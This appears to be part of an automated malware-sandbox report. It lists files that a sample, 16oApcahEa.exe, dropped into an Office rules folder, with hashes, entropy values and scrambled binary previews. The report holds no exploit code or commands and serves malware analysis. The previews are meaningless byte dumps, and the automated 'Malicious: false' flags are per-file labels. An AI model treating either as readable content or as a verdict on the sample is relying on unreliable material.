Preview:	<?xml.j..E........Y.+.\....]l9...'..v..FO)0..nSK.6......u..]]..X.I.Q..Zh..2.........1...8.s=.bf.1....F;..8.&I.7........"./...x..."M.D.sA...22b..Y..h..u..l...6.Sx#..3j.YmH\|I.FCb.J..9.Glk.J+.....~.R..}..N'..L.=..e.V.bR....r..........'...G."\|...(.JUzV..O('..D[..'....t.."..!......c...jsc......B..=H...h..x.{\|...0Qg1..U7q2..RU.@]...........3..5...b.T..J.b.r.s.0..aW.^H..pG.P....5.w..`.......\.@#.IU....]..9."E+..dbf.{...^....N....-A2.Aw_.&...:.].7.._3...D..~0.....jre.\..E..........1.u.23.7D..7].S...Ze.?qN.{......F+..-....(.m.zAe..u.M.O.......w..[.<.......b..[.v2F.N...}X..4.S.d.h?N...2.Ik..\|x.... ..).....g+1CT9v......k^...M.........,%..z...5`.......!.R..K...0..:.h,;..~L8....k.....s..X...7V....e.D..5Z.b..&...R..]........T.ND...M]..<...F,:...B{0.E.P....d.d.f.R.8J.aK..e.w.).#RA...P..=..........jb........CV.+.h..9:.W.x...V.at.J...k#.H....i.w..8....4..D...9.PD...F@.....7....<.,..v!q....w.p.v.\|.) .I.$.....Q..0...G.co.F.q...t.SY.5U.......L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.8772308703505205
Encrypted:	false
SSDEEP:	48:db6gEbrrl978fDcomtzqjoIsILjs0zu3/s3KNJD:dWblWDdOzqjoIsILjs0C303U
MD5:	46FB588BD3217725E63B36EDFE7B591D
SHA1:	2E7C703A6ECF2E3A43BAE180BD0855490FD64313
SHA-256:	CB87DB376B7587A0C8452DBA6EEFB1070D052C5AD8DD7AE4D12B9CF21A9462DC
SHA-512:	C67AD2D9DA358F7BCBFA058028CF2AEF197B3678EC27A64C3B01E1AF30489F52FFDD703129DFBD04C8FC83C21ECF26F75F84E6F228B663DFBCFB463A79A1B640
Malicious:	false
Preview:	<?xml).........8.f...>.D...<.......f.._...:..?.7.....3KX..t....F..BU<'.........n.[...@}..9. ..W...p...L.=Kb....p...69........\..<...U.......-.d.?.1...U\s...)z..!W+a...A.RE.qD-..(...\|..._.'S.d..#.G....~...i..NW.~.........Bm$&..8..^....^.N.i.C..."=<..%..G.)L.u........ :.x....w..'h6.&...,8...Ir.{.L@..U..H.ZpZj.L%#...Y\|.K.c79bR..!..u...=..Rd\..a...~.3/. P...b.?.oj...).Tq..s..A..}w!s.......;.....F.}$...r.........&{..a...C8)v......lS..q..$.j.L.$..:..D...Lm.C..&"....6.f.R.N.q.i$..H..O.P'........C..it.<X'Q!....wVN.W. ..4...-..,...~...o.k_.....t.7..(\|.u_@...8..M..m.yK.3. s..Ep.....8k..1.....uf8.%.p.i..}.e.b.S....[.....64../...#..2. F..o.....i..&....I.`.C..f.Dz..Fx.O(}`.Q.z.B....B.,.m..VV..%..!...h..Z"....lp...J..<...%X..#.......~.....7%Q1..0..8......?.=..t....@$.K..L..8Q.PR[...)..\..~..}-/...3..\.......{6H.k.._ft:...]..#......R5,...zU}...S......j.T.};;.m.B..5...$....I.....8....%..~q.O8.#'.....R\.d..<'j`W.8.FE.l.J.....C......u.i...;..2bw.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.889206918731613
Encrypted:	false
SSDEEP:	48:zzGIlTDclr3xt5Ku3vRAUs3TwPtIMMvgucxdDHLJD:xDEt5Ku/GUsw6Roucj9
MD5:	F8C4F5B1AAE4436B33C2D9AB553C5991
SHA1:	6BCE88A2012375866F7AFAAB4BCB4AB6432324AE
SHA-256:	7ADDD1091FAC35EBB7D21C986F6424E2BCA66BD00C622FCCEB34985E2D8274B7
SHA-512:	48C133CF9C5FE2ED9EEE19A8BF1631A8B464824D0EBB69C7600A5E85D54AA3BDD3CE886C4344988C93B82F3AB3F3AB4D7031A90C4F9A9A82C0ADC74335587B67
Malicious:	false
Preview:	<?xml.o;.(E....K^_..y`.....)(...c.#....H.C?...j.......\|....D..=..n.L+9.. ...q..4V....%....il96.\.[ju-.....aj+.Z......6...`C."r.k.....%^.?...4;.c.....~..&.!'y.4HP>.....eHrr.B&>..q[..c9.4....H&....z..5Psw..L....GI^.'.f=.....i.O...Q^.8..b...J{.o.P.%....g..6.y).C...>".i=2......Bt)_..........(..V$...Q.:[.K.-.!...@?U.oJ..a..B.j4:......a.J..x....+.~#.....R}..6...A..g\...M..`Aa(..J....'..7-...T.. .').......5..__..8.3bVvk........A.g.6.^........9....b....dE.M...x.f.r.c..(.-.N......6..)e..U.S.=.lx..=9...>.(..$.En_4l..^.ZsV2+Y.5....&.tq.@..3UG..$j.T. _..\d..(. Y../I[3.I.\....B..h....U.SB...}O..W...k..,`......5.(.@..Wr.z6.S.t...:.`.@...gJ.4.i%....qe^k..z...r.U_.....>......}!..X....nk......;gf`.{.t.....;.N...`..V...d.H#,./\|y@V.p.....!q.....D..74.y...\^-......g.Z.6,_].........4.~.@%.V...CBK..[..s...n./4.Z........L.Y.2......vTD..x.%..S..2......MF..#S...j...f....Q6...a.H=...l.O.v.a..B..s....me.W....>....@.N..j.....R5.a.bo...V....C3.4.d.m.....H..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.890330563518889
Encrypted:	false
SSDEEP:	24:KhtnzPcgJnr0f8RNtIX6Ab3cHCgVxkfM2IIGMxXSWbJtVha97IruOUZOB2Y39pbD:eRcgBAf8Uc3k4IXxtnhTyZOvNJD
MD5:	BEBC0C8B084E1D976628A5B1E7F0EABF
SHA1:	2B87350EE2285367D423960D74A6DEA17EFF0A42
SHA-256:	C9522B69719B8F979821208E2C76C18EF0C4D5D4D52AA84F3FDB7F7B272C1171
SHA-512:	C6A0CD5AFCA856ECD8C05C5B4AC4E0674736E19C35A934647367EEFB2C5019FA7E07E1B95AB41022D08F6B836ED5584F49211640D17C90FE6D32318BC0FF7017
Malicious:	false
Preview:	<?xml..~..Y.%.....0.i[.D..!Q..R.#f.C..Y5]...D.D..U6.WG....k..o...r.-.u..YG`.H...wg.%N..mi$.[T,..).#6.!.g(C.xct....fk..u3^.uYO..m...Cn.r.a.ZN.d.&...C..D.K+c..K...'7a..s.8.T.....p\.!.......v..S..........V.{Fy.M#g.-.~.....#^.}.\|9..2)..Is..~............5..#\|.nw........%....J`BZx.T..P.E..q..L.......C..]O...L.3.;.y.U..."l..b.?.M.....A..Dw3.u.^W.I\..&'...X.e..xd....mb.a{@..).. 0J...q...r.SZI.D.Y.P..W....f.6...n..#...R.$Z..H.y.t.....r%....-=B0..g..K.G..(.!.^'\|.{ej\..$.U..x0._.......%A.i..3~.... -.....7...(._A%...d2..x<..Y.(.f...A.Rv.bQuH.PPPz.. ...l....QQMM.A....#H...Q9B.. (...........)...L.....B...?[.U.Jl..U.l..T.....?.......;....s/..W.R-....>/..+)...mX6....9.....(j.........d..q.h..E..%4.i..(}....*HT..J....lTC...8++...R.."du#.S...i:....Z.]...0]1W..]...J g..b[.K5.c....n"n.\..]..,.j...i...s..#.......FD#_..m..........z..?.....r.0T.Q.{.`....#....k..s.w.....}..a.......1....W..Q...A......rT.>T:.9!."....k..M.....v.6.2U.>..#...3h..T...I.AU9#.X..f.z."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.867569368551741
Encrypted:	false
SSDEEP:	48:coUuhVWIdECd3IZf7d7H41pYkn8on2r8BN53mhJD:LhVNdEWk7dH818on2rMu
MD5:	BF900BE497D0DB4CED0234F8CD4A5532
SHA1:	A3395F47236CAD841827BE4D3F9D95E43EEF47C6
SHA-256:	FB3E5FF6E1DE66711ED2658462548CACECF4B6C245B119A9CC1C03E9C3B57AA0
SHA-512:	3FCD0E5B16FC1068505DC470C32005F44A78060415E7D2C4D258F3AB1B6D3665D243F7A51A84C0B47FAAE320F148DDFE340F14E54CE76B02327785353487DB00
Malicious:	false
Preview:	<?xmlY....4."..Z..[..yP..N..U....)L..._...`..R..9.-.......[.W....O.G,..2x.....%..3...O6n.2.....o....{..<&.l.u.5...R.ADXG..b2..S.V. ...`"p.......s.~&dP&\|.K.....>....K...0..+.........C...cV.-..%j.YX.g...nBW..q.k....G.".....4.f..t..+Tk.}.Z..v...H.!5.0=...]..$.e.hbF.0.W."".\D.&I.b\....ia.U..8."z..8..$l)h.U....{..^.71f;..D.2x.E..N.N. .....I.>`k[..YX,...".g#..u.....T.O....h...Y@xG...,.).R...........;M.G.N!.n..\....$>.E....k....j..".../..S..Tu..4.q.c.H._.t..13fd.vA.#....4\|n..P}...k.<..\|......i&.N.~t1..Gl8....E.e...}.}D_Le.....}..v.7...T.A..[.}...Ga...G..%..A.....#......8....QD..~`0..U...L.X.....*.X@7...S..iE..{t..Z.....^.....:...r\...&...S..vnP)..#.Y...#K..r...a]&.k.<....n\|],.$....%....g.?..R._&.~E.4..>E........kf..s.{.y...C...p.-/.....l.N7x...nx.\`m......--.p...2.5..UE...."..\|..l<.4X..`$iFk.M..8.4..}...rg.^WH^!..c..j..i..c...yV<]c..=ETYe.@.V.w.~..........W.N.XM{.....j&i..4.1H....^. ..h ../08..7....'..A..S}.....O....i.$A.#..o..J4....T..-.)yyi.T.uB.e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8803286213877
Encrypted:	false
SSDEEP:	48:jANqGTiwMdBBJUS+/wylzZ0Xd+o/IrYusp+f72aIQqWPJD:RhwMdBBJUS+7JibsYusp+fJ
MD5:	D9D98CF4E9C80CD30C157E353E18FAB6
SHA1:	2D60BCFD6370BFD96A68B77314C07DAD3F1F99FC
SHA-256:	9C6AF0C63E480836EA2DBCB4FE26AE7CFB5EFAA1F3375AC6B0F236F09F398F54
SHA-512:	FF4A9FEEC959B8B14B211C9612CED7EAD84DABA378CE51AECFE5737AEB2D604087B959866A97EAD2A74B20720BD110FFBDFA801A837D65D7DDDDD6CA63634805
Malicious:	false
Preview:	<?xml;..............Y...EUV...=.#D.[."..4.........r.5....mH..y........."X...PQ..6...\|..B.Qa.O.W@.@..n...P...6.....).....Pk.@.iA.k....O...,.....2wS.P...gu.D....Wx..^.l.99fN....R..r.CO..zi.{....N..v...M}IC\P.p..(..`;1pX...^...!}F.3.Z....B7H..n..xCJ.k....P(z.:64[.2...U\i Jv.._..B.N.....{K.X..b.A.. .:a.n.......!.R......;..q[....9A^....LB"s`........RZ+....H..d.Sy.......-......EH.{../Y..~..g..%w.N.\..eX.n ......%./.uH......Q..?sr.%.j......E.P.......e......h....x.u...(....5B.........li...x..}..W0u.B..S.r.AS..Q.!....cA.;S....7.+...q.q..`.._#\M..<.e.(~..%`^..,E.....^...)..T.......(...wh!....\|W..zq..60s..1.;.P,...s.C...A.h...U1....N3z..x@.[\|@.32..@.....x._h..6....W.$../.2Kq....').f.....7.....P........e.2 .0t.F....Np..G.WH..2.@......&$.........W.....3y...Q..!(c..D.{._..G..P.:...XE..Y-..D4. ....ZY.<I.j.....h6 ......+o.'.."(*y..I.j.7..1OW.-...l...^LK%..I..<..U.....b..XI>6fh.......]...@.b.\..>.Y.fCg..=V.[p.T...A.n....l......z.pk.;..+.j=.=..m7..u...E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8850940247712975
Encrypted:	false
SSDEEP:	48:8WfXgcAf8D9NCVFPTr67jFObBF5cSuB2zRZgUXPJD:HfX0kLCXTr6WKSy2RXJ
MD5:	99F8E008230F33B35D8578061520F847
SHA1:	60C0E0E6BE8F6886BECBD1393F9497A997EB6313
SHA-256:	B591A18A2C46D7672199C3B7E0F40B3753074CE5D58EC6BB3F772DA67E9432B3
SHA-512:	B3A078C2445FDF003714DCF71029B8079496F207AD48808833B54A665C41CBB36D9D6B5EB701992CAA538042BAA16B818944051910E117AB6A790297EFC21BE1
Malicious:	false
Preview:	<?xmlVO.z..@...=....'..u.lKN.>.VM$ZH5........'.Y=.>....AF..M.Q2.K...l.$.....4?]......DP.r$p..y...v..nC..^Bo$.r...x1./...3m..y...n...:......6=......)T..U.[X).,KR.n...J....^!.....a].bY.q 9l.H..hC....Q{#.#..;:.c.3'Vk.Z.{.&..N..n.+0.Rw.ex.1........8..K....f.5..<.....p...\R.,..2.4H".X.=E....KI=....(L.&...:..^..kz....p............s..tH....Z.Oas..}...JaK...E.5.s.].~.......rF..D......O....x+?ak^...E'...p).^...`X.f>.B.W.6:.. .y./6....w..l........\...UB}...t"...xM..3...J..z...!.q.4.`...m...inI.vS.m..d..g.tP..?b.w....uLEW.Ds..i...;..k..X..-._.@.~j....Xs.^.Y.B..&o.2R.,..sb].....k.H...w........./..%.`..bA<..+....N..tp....H..J'g*...'t;..3d.......{..)z3G.k..#.E]._,.d\|.......[dcA...+.......pr4.&..G.0...L......2Wz;......k2.KQ..G..A>.....,Zt..C.].....G....S..A...1D&2&...nj..a...59.?!......7..)-......R.p-e...4=....af...e.XO..t.Y...}........;4........{.......x..C!....<.:<...^..a..R...R.S.w#.'.k.c.&.....$A...<I4.T...O...Q.T4!..Z.0.].......JaA....k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8747955484781595
Encrypted:	false
SSDEEP:	48:gtKwW3X5mpvztYZEvQEJuUNFYgo2YfYJD:gtK/X5SRp4bU1o7fK
MD5:	C4645A1B6EC8B2EDDBB48893DC10DCA9
SHA1:	F1A51C342F410E880CF0F096A6C4FAF0112A72AD
SHA-256:	0EE9A2B31438040D6E78005554FE60F98AE8F4405C8E0F326BEBAFDC07A426F8
SHA-512:	00D2D73F70393256D0E81DDAA79B1301F2B4FCB6F2350A114D850FC6C86B71E6FD3C5DF7EA030246241C1EA7651B9A145E870273EE3A66B1C65243E91F6B462A
Malicious:	false
Preview:	<?xml.s[....w..e..U.!u.4...0..'?a.....8.c..K.I..U..<K.<}......i..fd...wOg.%...WJ...g..f...Q..yJc.x.]..-.sb..............eS...F...Z.M.....0.j...G....w.u.]l...7u...w..R.<.L`}....IO...vsM.,=...9'U.).Gf..$..T...\|....O&..0y.jgS/....\d7t25.a.w.b1..C.Z......".{.e..ld;....d.e....Z~./.6....&C.)H.+.Z....h/{.8V.?....iM...l..-...P..;:$2DOE.?1Q.P.`..- $.....T.....w..d.O...9v.. ...N..f]5...%..YS..gL..,z._.0.....o.E .....YP....N.y..J`C..c.?.....w.;.[e.H.....x/....Q/.wx..c.n'...`..\.".p.h..]..u<.jn.6.....zB..]....^.m.....~.n..]..Hq".T.C]..}..X....0+...s..n..e.cU...}......<\|.x.f....'.&A.......Y....4.~...k.L.J4Ix3.....K.....6.zS...Vb........8.......3..,....a.V...]De........`.j.#.T..x.I.u.......^BK:...gx.7v.....-._k.7.f.4.....a...6.#.;.W[...^S......p......+_g.._...+^..([../.......\v.:c.=..O.'.e. u....E..]k.!.....df.G.C.i.%./^44...V.._....cy9,..oMc.i..I....H.NU.n./j.v.{...l...t.>.a.Ef6{..g...."..._{.T.....B....r..#.X.g.pT.^FC>O..o..$5..1#..#=Vo ".T;..w_....nb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8881968661201
Encrypted:	false
SSDEEP:	24:YVsAt+kuW8FB24YiuLLMaj64Kh39+Ju2ZWxRNV0MPUpglEtxeXwEczFi9pbD:vAtbsFd/alG2ujxRNV0l+IxeAxkJD
MD5:	D8F707714C93061AE297526DC8D8C655
SHA1:	8FAC6865F4C85C2F14F31A997D4C0956395F05BF
SHA-256:	DA5B3275125FBE6E12D653CFB53CEF11B8E486CF691EC575DF0D1E547045A1F9
SHA-512:	F62037D6CAFA857A252D9EB7E4C054EBDAAB0A9D2BB4303383B68A46DB7D518A6429AE0B7378F2070BD7AA9C18CEB6CFE1F5CA9FF19D625A6371296FFED97142
Malicious:	false
Preview:	<?xml..w..fY2..(.^q....9.............v.....R.yh.#.....uF.cw..H.^.....'..Q..#..t.<..........2.......'.&..%....\|K>.W..+..s`..~.S.8k..P.1.m....ls....6.k....s..,..JX`...(l....O...w[D..2......qt.VE.Z.j.....Mo.NW.;........vj..l..H.p.;..j..B\|9....0.Y.!s...(......:.3..(E9..!...L.6...HS.k>....Y#.D.O#D).Q.2...+..m.g.!.. o.)...];....e.v.....@.!..m..].6..X#..D.q..5..1/.5R..H!O....H......x:. .....n`I1..o.6......d..^.A..-...E. ...Ao.......5...O.{...w......Nb[lat.t..0...F.E..aq.....,`..6.hg....re...Y(.c...,\.2y.'..s......o.l.....<-.r... u0........cxW#..3..;.....<fr2J....6.......I.<.s4M/2]..E.B.A.f.Y.-7E.3^T4.Mq.l...xu.&............~.~..!h.........N..C1....e.....Q..%=...h{.....U...0M..7.O.........[.I...{G`'..IK.K0.C.6.....".a.[.FV.6.V.].)]0Kd.4A:1..)_.Q....p..\W....>#..0g?....t.F+.;\|....2..7%.nmu.i.)....O..5..".......\|{.\|*.M.){........p.....)..tJ,.....y(..%8.....q/..\.STe..".0h.y..e.c....;....:....f.C.;.... .b.W...)..S.kH.3.{.1yTy.7v....:. ~.$-.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.878542140521761
Encrypted:	false
SSDEEP:	24:QGMAW8lm6eUJdwpo3VALYWbCQExtZzoiJb5sFgeWhxTHB+hVGEdiAf9pbD:QGg8lmkJeTY1RthJyCh9BEGYieJD
MD5:	CA15DC3100CFEA4490A37BE4DC2F288B
SHA1:	4D9087E4ED1C54DE6C3981B7A55877C61C64C8C5
SHA-256:	C0D81DF4FE691130F3E21ACA5FA933B7B160D980C21EE53020D249A8570895D5
SHA-512:	FC04D15135A94539A0240A9CE83DCCAB5BC25E05CE92478B22FB969C6E9DDC87D4D77006250196FC95BB984E9650E51D10DE4F41532F54BB09E56D21CD7A5899
Malicious:	false
Preview:	<?xml.9..j$..g..........Ry......s..........z.a...(x....L&..M.p.2.....U]XR....3.K.J.h>.S.og+......qY.W...\|.....4.+E....03NS...\j."..g.....v.<.3j... f..t.?`._"v....c.2..v.B.hs....</....m..z+H..%..~.&.....&...lT..d.w.Rz...2..i=.$.Uu.O.......<a..;.&.vEv..!0.)..A....s..T.Z.D...2.I.Ob.A..M!..9......;W.q..3...H-%d.....[...F}.+.....p\|RL...(OZ.I.[..".......Ylhg..O_..i....N%..S..R....h.....[.....&.I...:....C..6.....5".e....0..;..Qa....(..L._..4..Vv.d..}..pZ.8.r..l...&...t.>.F.....<..?VF..oyg....X..e..-g.M.`..Wx......a...;{D. N"..r.;..iS.x..LX.(9A.u.i.V.m.=.r....R......W8....UO..uc.YE.h....2?.I..U.O[JH.....m....w.(S..i6(/N.1.....&Y."...z.....d...................+.p..hi..#.......T/....@.L\.s..p(B.~:....T'..%...z...>..U..k+,.l.......0......qf..'....JK^.&Q..Szz'.T[,...._....,gq.V.l.w.?.......`.P8..e...]6.~....p/.Zg.....a...}..&.g.}.Q.&<..,W#..+..p^..m.U.8....,....~_.tFLP^ >7L...9.. ...6m.D.Nz......].tO5..+.<fv........^1........9.6..{.&T.d.......{.D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.861428451453754
Encrypted:	false
SSDEEP:	48:igcpLU/L2+xT5bIUDBhLyuLtqqhzQJ5Yk/EiJD:i3pCFx919hL/tq4qz8E
MD5:	C07E2363C5D71CD4EACAF8E27CE6B210
SHA1:	8C843EBE10E62C2BD4CA5146BFCEA73FD35DF7E5
SHA-256:	5C1897046AF4B7D892029E41BCAE1FF5B2FAAC5985FC2085B02AAE08F57CD951
SHA-512:	1A17C0206D4394C3803F0DDA56DA841B8CF4A5BCA741D024AF7E6CA6CC684974C4BEDC560209FA7F5F2F5E1973FF5E50A60357A0D4FD1026529C6E1580364C6E
Malicious:	false
Preview:	<?xml..y..5c...p.<.L/zn.&.y[.."c..WO...R../.D2?./B..1U2R...q...:F.v...}X...K\(5..uB.2\|...-Y.6...=W..$...{...m.E.,.a.RG.Sq.Y...........a.D.>..BT.....-...._-........ .{.8..F.$.^3....9........:.F..u>%.f..G/w..[../\.w.).`..\^...h.L....z..........;G.g.hq?.x.`U..at ..W....BG>6@d.=...n.(..8..?....../...].O^>.:c..h.`...g[....c.K$../...y......$...B..\|...G..h./......\N.;..Bv...8.Ew.[.9.YGs+...T....'....5.SL.f-....e..c7..E...NL].qU.7.._..c0.>.3.y_..\|...<\|.z]..I.$...\....bkS.m...R.q..m..v..&.\MW.M..?..........O.ml.:.L.?.}%..s....'..1E/D.!.\|...U....aM.....U..)R;;.n..K5......5.%ff.;..."zP.yA.....M.....O...a\|..'U....W.B....t.R.]O4........_C..Cu. ..B.......V...r......`...B...1..O.P2w.+o.e..\..h...-&N9b......lw.sO....D.E..c{.6.`......<.....}b....-Rd.TQ."q..k..s...V...}...h...:.ZF.....b...s.S.......K..h.pj..=.W....P...!.Ui....g.t.Ze...\|H.X.Zq]....s.\|@/...bh..u.p.I.H...k...>.....J.(;........Y$..W....!R...]..D..!.....6j.y...v....'..\|.z.,$Y....:6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.893399263583379
Encrypted:	false
SSDEEP:	48:pFJR8VUpeNE36ziUWrT6ODLiqd2ZrEc1Rxr1hJD:pFJKUpeNQcKeGJd2FEG
MD5:	3DB87EBBA8FF77991BC344DC63A40DDC
SHA1:	508BD0912DB074B8C291E5A9AACA6C8342E00939
SHA-256:	56596351553CB25A7E363CA6355A49F9D5BA2862A79626493207442B232CD2A5
SHA-512:	C2C3995AA0C6F93A40495B40BE788EF3F9313058487FDBC6CDD6EBD9D4352B1FB2C7AD995EC3EB9533F7EC454B46AFBD35E430FC24CE9DD69B8B544662D5EF22
Malicious:	false
Preview:	<?xml.[.%.?.m.!.......i^Q..0*U..[...i.'mM.5.4.....-).A....V........IX...l.H.3.B......F.O.....f.?/7g..@.......Oz.[...dB.........u..E.+..W....M.0....{w.K..0.K..Fr...5X....;.U..F.]XY.W..."_\-6...>h.8..ap.P.g...<!\|.zw?..w.....a[....a..%.)...<Gu.....hj.@"..#...u..(..~..o.+O.`R.....3.I..B..<..g...8.,...6.ik.lMy..&u.s..-.....\|....T.R......4,..5.I .+.qWH=.-p3.......~.[....a....}..E...G....t.TL.JP.obD.T...k...@.!1..y;.%...gf.$w....;.. .v;.8+.h..x.a..h....i....lua..N....A..y..Wj...e.GE..A........N...].o{.i^..Y...>P..@...y......w.........T..<....S-.3K....}%.....L..P..9......`..9...,......A@.......v{../]/4....2.!..j.w.lE.....3..t....O.....(.\.d+i..\|G=r5<B..p.^..[:-........d.....D.'r..}:...=v.Kx/,....\|W.W..K!..n.h1.....1SM....T.`.+.z...t.?a..JZ).....:.:G..5.f....2-C.Y.;.......Yi....e....%m......a...V...wN.V..J..5v.....6.$wn.b.?7.m........5.~..P[...}..h.....x&..w\|r...`..S...y.D....:...IL'.Qvc~<..h.XiqaNi.Z......r..&..BA..../.+..A.=...-d..~...c.dyh..0o...>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.882477325686934
Encrypted:	false
SSDEEP:	24:8JYVukZpuqwIr1xKeqXM7AQ+gLkASjtiU878GqJCXMflhJzXa4mnTRpKWYDEO9pX:bokPuqhcXZptAUtadXwln+42GDhJD
MD5:	437DBB52995DF6EFA9BD3B38B0460DF3
SHA1:	5C8E9C4CB7AACFDD58AA3FEE5916402EA4FA44F9
SHA-256:	6B75F3E17CF95EDDEEA08665EDA9A5695AFB0434828D559268024EAD2F63BAE5
SHA-512:	6BEA16EC1281585413954F0284A8865D3EC54F96948B7A3FA8E27BACCB84707E9445C7DB962A213752B18BFEE1DCC60C01125B166867DDF6C682A34AE7AEB69A
Malicious:	false
Preview:	<?xml.e;.G@z.H.r.,.QWq<....F......../.i.g.......l..n...nV.1~...........".sV2]X.8b..9...ql..C!J..X..L..C5A. ....$c....e.A.%....x.....\R.!.Z..;2.>#..e..6....5.qiJ......;..........>..U.;4...{.<.I....w[P.C."...}....{.K._G+;.a..=..X .}./.SN...q..;.'.F...i.....ea.D.7...2..$..m.Y_.@.n.....7.,_.n......y.I......E.1y..+....n..-...=F..J.........AaW.....f..,..DkU....Ju.z.+l.d\(..}....z.....R.1e..oB._..QNbl..H]..5:....S..t.&.Vk.)....bf...`(..o. .....E..1>...~m...n8.c.p!.;Y........).=N.l..,?..l..%...&.(R....t.......t.U...;...eI...Zc/.c.%...c.,.0L........5....p./.Q>...r.r].8..Zq........l....... ,...5.w....u.SaT.R.)Z^J.\|.>.\t.#E0..\.=K.FD.<.}...T..;..9....V..O1.+.2X.H.E.5.......b.....(.iE.../vIA..=...jcG......YEk..}...E`..{...u....<..aZ..7.>. ,.h....GV.7......... wx......8.m....3rl..I....5...g.u..\|...M)NC.+7...I...I..?j.-.....s....UsTxzPEFy4..M..F.9.{W.CK..s.0.L.....Tx'$..)@..y.p...k.....}..8.....2r.A....9.*j....8..V.'.......K..H..;.....~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.867125721604927
Encrypted:	false
SSDEEP:	48:D42iXIPClWiJ7LkLEhW3AB+pOVIOCI4l6DdTb8vOJD:UxXIPMD9Uc2Ex3CIdRuY
MD5:	BD8FCAC6240C2495FF8BC0CC5B11660F
SHA1:	3BFFFD68D7E43DD80046B38F3A4ADB3FA6B28F17
SHA-256:	01170A41E54D74B530F698079F3FDB65DC3DDE01F48205A1067C857CB94B4A77
SHA-512:	EEACB8084009188EDD3EB04924929773E136B983F8CBE55461552E2DC4916EDF22CD4B9E1066F2A97A26DC7407E76D447C3FA891F8B418C0B5969860BAA6F737
Malicious:	false
Preview:	<?xml,.5...w....k....=..Ti...Z..%....?.d.3.A...~......}.x!.....'\|...1..\|..J.6&...x.....Q.\Kr.JvJa........c..6...8.B..u.O....,!..].x...I.b;}.\|..R?b.bw.=.. .......<-..6...fi..<$..I.(.....\X"s...bz....M..;.V....y..7...b.....Lu+(...b>.U.TH.a...,.2U.....Z.o..,0....'..L.V.VwV\|6.....@.n..[.x...X6.m4.....5U....a...q.IG.0.....wM.bK.....+..E.Z.y?N.....73..fp.?;qp.T..,..e.rp.%..e.-b.C..d].#.=....a....W..\D....-..~...N[TN. 3.wX\.C.z...`..^...C.C.D.._....L....w0..3.$..2@.a6..Y..]..l....^.-S.........wk.m.rQ...@.........2O....R\.......0..]`.7...m..Z.EL...{....'.+.P]....F........c...Y.ANF;.....z.k..5._._..q....Z.. AY.0.4...q....*.k.X..^.......b1..!Z...\|..IyL.-.`.XKD...H{8{..U.'5`=..2..R7...[_9..(.FM;q!7 .ew....h4.).zY..;=...."}..!.x`7q..s@.[.........T..P.{&zK$.>.=..4(.....Da.O...N..L m..(..5s-......5..v6.:...Q.d;':v.dm...?.].~.D.....r...F.c....-..n.d....\.6I.YF..2.:.~j........n..C......mL7..V..KJ...t.....i\oC.aRE..,\}.....n....;I......S.gP. ..4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.512929729929254
Encrypted:	false
SSDEEP:	3072:LvXw9cMVyxrwEDTcqkIcDUpzR1CvX0dKpEho6k5Yb8R8txRiAm1QO:8bVYrPDQ9IcEn/yGjbEQxwAm1QO
MD5:	6C6F156D7058E73F8EBF89BAA739CB21
SHA1:	DB04BC660EACBC71CB26002ED3B85484ECB0A7F0
SHA-256:	A406C8F76B9C7D7FBA3B676FC9D1CA5043F3F3F90B92C0513F935E7A462A4FA6
